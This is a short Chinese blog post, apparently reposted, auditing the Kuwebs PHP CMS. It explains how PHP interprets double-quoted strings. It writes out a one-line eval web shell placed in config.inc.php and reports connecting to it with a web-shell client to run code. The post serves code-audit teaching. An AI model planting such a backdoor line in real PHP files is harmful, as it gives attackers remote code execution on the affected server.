PHP中双引号引起的命令执行漏洞(Kuwebs代码审计 )

Posted 春告鳥

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP中双引号引起的命令执行漏洞(Kuwebs代码审计 )相关的知识,希望对你有一定的参考价值。

在代码审计一书中提到Kuwebs的配置文件中可以利用php可变变量的特性执行代码

 

在PHP语言中,单引号和双引号都可以表示一个字符串,但是对于双引号来说,可能会对引号内的内容进行二次解释,这就可能会出现安全问题

我们先下载Kuwebs的源代码

http://47.94.132.67/tools/index.php?share/file&user=1&sid=4hKdqxNF

下载了之后简单看一下配置文件,发现书中的代码在config.inc.php文件中

 

 

 这里只是演示PHP会对引号内的内容进行解释,而不考虑实际情况中我们能否修改config.inc.php文件

我们将kuWebsiteURL修改为

$kuWebsiteURL = "${@eval($_POST[a])}"; 

  

 

 如果PHP能够正确解释,即我们写入了一句话木马

使用菜刀成功连接,成功执行代码

 

 

证明双引号可能会引发代码执行漏洞
虽然单引号和双引号都可以表示一个字符串,但是作为程序员应当了解两者的一些特性

 

参考链接:

https://www.0x002.com/2018/PHP%E4%B8%AD%E5%8F%8C%E5%BC%95%E5%8F%B7%E5%BC%95%E8%B5%B7%E7%9A%84%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/#%E6%AD%A3%E6%96%87

 

以上是关于PHP中双引号引起的命令执行漏洞(Kuwebs代码审计 )的主要内容,如果未能解决你的问题,请参考以下文章

linux中双引号单引号和不加引号的区别吗

bash中双引号单引号反撇号的用法

sql中双引号用在哪些范围?

请教Linux shell命令中双引号与单引号嵌套的问题

CTF下的命令执行漏洞利用及绕过方法总结

php代码审计5审计命令执行漏洞